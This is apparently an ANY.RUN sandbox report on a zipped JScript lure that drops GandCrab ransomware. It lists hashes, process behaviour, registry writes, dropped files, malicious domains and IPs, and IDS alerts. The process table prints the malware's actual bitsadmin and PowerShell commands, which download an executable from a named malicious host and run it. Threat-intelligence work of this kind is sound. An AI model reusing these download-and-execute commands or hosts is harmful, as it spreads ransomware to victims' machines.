File name:

Love_You_2019_27201936-txt.zip

Full analysis: https://app.any.run/tasks/092418da-1943-4fc5-9811-b781c61096b6
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: January 10, 2019, 22:20:55
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
trojan
ransomware
gandcrab
Indicators:
MIME: application/zip
File info: Zip archive data, at least v1.0 to extract
MD5:

6DDE1CA167ED67944FA5D13B86C6A343

SHA1:

764E8AA30D7C4CF0219FEF69AE4B8A7B32C769D5

SHA256:

6E42AD9C545974CA943DB43B964F4F0D8A36A028994DFA606118E2F14FC63532

SSDEEP:

24:BkDkheN8YR9M4VDTX6FHoH+4D1mz0EtofWVWnqGbMImwjj+0e4hvTMDyJ:BkDkhi8Y9M4VDOK1mIEtOVbMbwjj+v4x

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses BITADMIN.EXE for downloading application

      • cmd.exe (PID: 2228)

    • Application was dropped or rewritten from another process

      • winsvcs.exe (PID: 2868)
      • 495958594939.exe (PID: 4024)
      • 3327529366.exe (PID: 4092)
      • 3580527067.exe (PID: 3636)
      • 979574639568794.exe (PID: 3576)
      • wincfg32svc.exe (PID: 2496)
      • 3478239163.exe (PID: 2452)
      • winsvcs.exe (PID: 2992)
      • 2495831141.exe (PID: 2188)
      • 2184730977.exe (PID: 3076)
      • 4177133078.exe (PID: 2580)
      • 1469420263.exe (PID: 3116)

    • Changes the autorun value in the registry

      • 979574639568794.exe (PID: 3576)
      • 3327529366.exe (PID: 4092)
      • 3580527067.exe (PID: 3636)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 3452)
      • winsvcs.exe (PID: 2868)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2384)

    • Changes Security Center notification settings

      • winsvcs.exe (PID: 2992)

    • Disables Windows System Restore

      • winsvcs.exe (PID: 2992)

    • Disables Windows Defender Real-time monitoring

      • winsvcs.exe (PID: 2992)

    • Writes file to Word startup folder

      • 3478239163.exe (PID: 2452)

    • GandCrab keys found

      • 3478239163.exe (PID: 2452)

    • Actions looks like stealing of personal data

      • 3478239163.exe (PID: 2452)

    • Downloads executable files from IP

      • winsvcs.exe (PID: 2868)

    • Dropped file may contain instructions of ransomware

      • 3478239163.exe (PID: 2452)

    • Renames files like Ransomware

      • 3478239163.exe (PID: 2452)

    • Deletes shadow copies

      • 3478239163.exe (PID: 2452)

    • Changes settings of System certificates

      • 3478239163.exe (PID: 2452)

    • Connects to CnC server

      • 3478239163.exe (PID: 2452)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • 979574639568794.exe (PID: 3576)
      • winsvcs.exe (PID: 2868)
      • 3580527067.exe (PID: 3636)
      • 3327529366.exe (PID: 4092)
      • powershell.exe (PID: 3452)
      • winsvcs.exe (PID: 2992)

    • Executes scripts

      • WinRAR.exe (PID: 2984)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 3128)

    • Starts itself from another location

      • 979574639568794.exe (PID: 3576)
      • 3580527067.exe (PID: 3636)
      • 3327529366.exe (PID: 4092)
      • winsvcs.exe (PID: 2992)

    • Creates files in the user directory

      • winsvcs.exe (PID: 2868)
      • powershell.exe (PID: 3452)
      • 3478239163.exe (PID: 2452)

    • Creates files in the program directory

      • 3478239163.exe (PID: 2452)

    • Reads the cookies of Mozilla Firefox

      • 3478239163.exe (PID: 2452)

    • Connects to SMTP port

      • wincfg32svc.exe (PID: 2496)

    • Creates files like Ransomware instruction

      • 3478239163.exe (PID: 2452)

    • Adds / modifies Windows certificates

      • 3478239163.exe (PID: 2452)

  • INFO

    • Dropped object may contain TOR URL's

      • 3478239163.exe (PID: 2452)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 10
ZipBitFlag: -
ZipCompression: None
ZipModifyDate: 2004:01:10 19:08:07
ZipCRC: 0xa9cadeca
ZipCompressedSize: 1122
ZipUncompressedSize: 1122
ZipFileName: Love_You_2019_27201936-txt.js
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
53
Monitored processes
19
Malicious processes
11
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start winrar.exe no specs wscript.exe no specs cmd.exe no specs cmd.exe no specs bitsadmin.exe no specs powershell.exe 979574639568794.exe winsvcs.exe 495958594939.exe no specs 3580527067.exe 3327529366.exe winsvcs.exe wincfg32svc.exe #GANDCRAB 3478239163.exe 2495831141.exe no specs wmic.exe no specs 4177133078.exe no specs 1469420263.exe no specs 2184730977.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2188C:\Users\admin\AppData\Local\Temp\2495831141.exeC:\Users\admin\AppData\Local\Temp\2495831141.exe—winsvcs.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\2495831141.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
2228"C:\Windows\System32\cmd.exe" /c bitsadmin.exe /transfer getitman /download /priority high http://slpsrgpsrhojifdij.ru/krablin.exe C:\Users\admin\AppData\Local\Temp\495958594939.exe&start C:\Users\admin\AppData\Local\Temp\495958594939.exeC:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2384"C:\Windows\System32\cmd.exe" /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://slpsrgpsrhojifdij.ru/krablin.exe','C:\Users\admin\AppData\Local\Temp\979574639568794.exe');Start-Process 'C:\Users\admin\AppData\Local\Temp\979574639568794.exe'C:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2452C:\Users\admin\AppData\Local\Temp\3478239163.exeC:\Users\admin\AppData\Local\Temp\3478239163.exe
winsvcs.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\3478239163.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
2496C:\Users\admin\4950606094303050\wincfg32svc.exeC:\Users\admin\4950606094303050\wincfg32svc.exe
3327529366.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\4950606094303050\wincfg32svc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
2580C:\Users\admin\AppData\Local\Temp\4177133078.exeC:\Users\admin\AppData\Local\Temp\4177133078.exe—winsvcs.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\4177133078.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\shell32.dll
2868C:\Users\admin\495030305060\winsvcs.exeC:\Users\admin\495030305060\winsvcs.exe
979574639568794.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\495030305060\winsvcs.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\wininet.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
2984"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Love_You_2019_27201936-txt.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\comdlg32.dll
2992C:\Users\admin\657607470096780\winsvcs.exeC:\Users\admin\657607470096780\winsvcs.exe
3580527067.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\657607470096780\winsvcs.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
3076C:\Users\admin\AppData\Local\Temp\2184730977.exeC:\Users\admin\AppData\Local\Temp\2184730977.exe—winsvcs.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\2184730977.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\shell32.dll
Total events
1 280
Read events
1 114
Write events
164
Delete events
2

Modification events

(PID) Process:(2984) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(2984) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(2984) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2984) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Love_You_2019_27201936-txt.zip
(PID) Process:(2984) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2984) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2984) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(2984) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(2984) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:writeName:@C:\Windows\System32\wshext.dll,-4804
Value:
JScript Script File
(PID) Process:(2984) WinRAR.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
14
Suspicious files
273
Text files
212
Unknown types
14

Dropped files

PID
Process
Filename
Type
3452powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RJPY04WKP6WV3Y6PCCI4.temp —
MD5:—
SHA256:—
24523478239163.exeC:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp —
MD5:—
SHA256:—
3452powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
3452powershell.exeC:\Users\admin\AppData\Local\Temp\979574639568794.exeexecutable
MD5:—
SHA256:—
3452powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF212ab9.TMPbinary
MD5:—
SHA256:—
2868winsvcs.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\1[1].exeexecutable
MD5:—
SHA256:—
2868winsvcs.exeC:\Users\admin\AppData\Local\Temp\3580527067.exeexecutable
MD5:—
SHA256:—
2868winsvcs.exeC:\Users\admin\AppData\Local\Temp\3327529366.exeexecutable
MD5:—
SHA256:—
24523478239163.exeC:\Users\admin\AppData\Local\VirtualStore\Program Files\EVQULGIHL-DECRYPT.txttext
MD5:—
SHA256:—
3576979574639568794.exeC:\Users\admin\495030305060\winsvcs.exeexecutable
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
54
TCP/UDP connections
40
DNS requests
21
Threats
66

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2868
winsvcs.exe
GET
—
92.63.197.48:80
http://slpsrgpsrhojifdij.ru/2.exe
RU
—
—
malicious
—
—
HEAD
200
92.63.197.48:80
http://slpsrgpsrhojifdij.ru/krablin.exe
RU
—
—
malicious
2868
winsvcs.exe
GET
—
92.63.197.48:80
http://92.63.197.48/m/1.exe
RU
—
—
malicious
2992
winsvcs.exe
GET
304
92.63.197.48:80
http://slpsrgpsrhojifdij.ru/1.exe
RU
—
—
malicious
2992
winsvcs.exe
GET
304
92.63.197.48:80
http://slpsrgpsrhojifdij.ru/2.exe
RU
—
—
malicious
—
—
GET
206
92.63.197.48:80
http://slpsrgpsrhojifdij.ru/krablin.exe
RU
executable
4.50 Kb
malicious
3452
powershell.exe
GET
200
92.63.197.48:80
http://slpsrgpsrhojifdij.ru/krablin.exe
RU
executable
15.0 Kb
malicious
—
—
GET
206
92.63.197.48:80
http://slpsrgpsrhojifdij.ru/krablin.exe
RU
abr
5.09 Kb
malicious
2868
winsvcs.exe
GET
200
92.63.197.48:80
http://slpsrgpsrhojifdij.ru/2.exe
RU
executable
258 Kb
malicious
2868
winsvcs.exe
GET
200
92.63.197.48:80
http://92.63.197.48/m/1.exe
RU
executable
247 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
92.63.197.48:80
slpsrgpsrhojifdij.ru
—
RU
malicious
3452
powershell.exe
92.63.197.48:80
slpsrgpsrhojifdij.ru
—
RU
malicious
2992
winsvcs.exe
92.63.197.48:80
slpsrgpsrhojifdij.ru
—
RU
malicious
2452
3478239163.exe
78.46.77.98:80
www.2mmotorsport.biz
Hetzner Online GmbH
DE
suspicious
2452
3478239163.exe
78.46.77.98:443
www.2mmotorsport.biz
Hetzner Online GmbH
DE
suspicious
2452
3478239163.exe
217.26.53.161:80
www.haargenau.biz
Hostpoint AG
CH
malicious
2868
winsvcs.exe
92.63.197.48:80
slpsrgpsrhojifdij.ru
—
RU
malicious
2496
wincfg32svc.exe
98.137.159.24:25
mta7.am0.yahoodns.net
Yahoo
US
unknown
2452
3478239163.exe
136.243.13.215:80
www.holzbock.biz
Hetzner Online GmbH
DE
suspicious
2452
3478239163.exe
74.220.215.73:80
www.bizziniinfissi.com
Unified Layer
US
malicious

DNS requests

Domain
IP
Reputation
slpsrgpsrhojifdij.ru
  • 92.63.197.48
malicious
yahoo.com
  • —
whitelisted
mta7.am0.yahoodns.net
  • 98.137.159.24
  • 66.218.85.52
  • 74.6.137.65
  • 67.195.228.141
  • 74.6.137.63
  • 98.137.159.28
  • 67.195.229.58
  • 98.136.102.54
whitelisted
www.2mmotorsport.biz
  • 78.46.77.98
unknown
www.haargenau.biz
  • 217.26.53.161
unknown
www.bizziniinfissi.com
  • 74.220.215.73
malicious
www.holzbock.biz
  • 136.243.13.215
unknown
www.fliptray.biz
  • 138.201.162.99
malicious
osheoufhusheoghuesd.ru
  • —
malicious
www.pizcam.com
  • 192.185.159.253
unknown

Threats

PID
Process
Class
Message
—
—
A Network Trojan was detected
SC BAD_UNKNOWN Request, which might be made by Trojan-Downloader.MSOffice.DdeExec
3452
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
—
—
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2868
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
2868
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
2868
winsvcs.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2868
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
2868
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
2868
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
2868
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Love_You_2019_27201936-txt.zip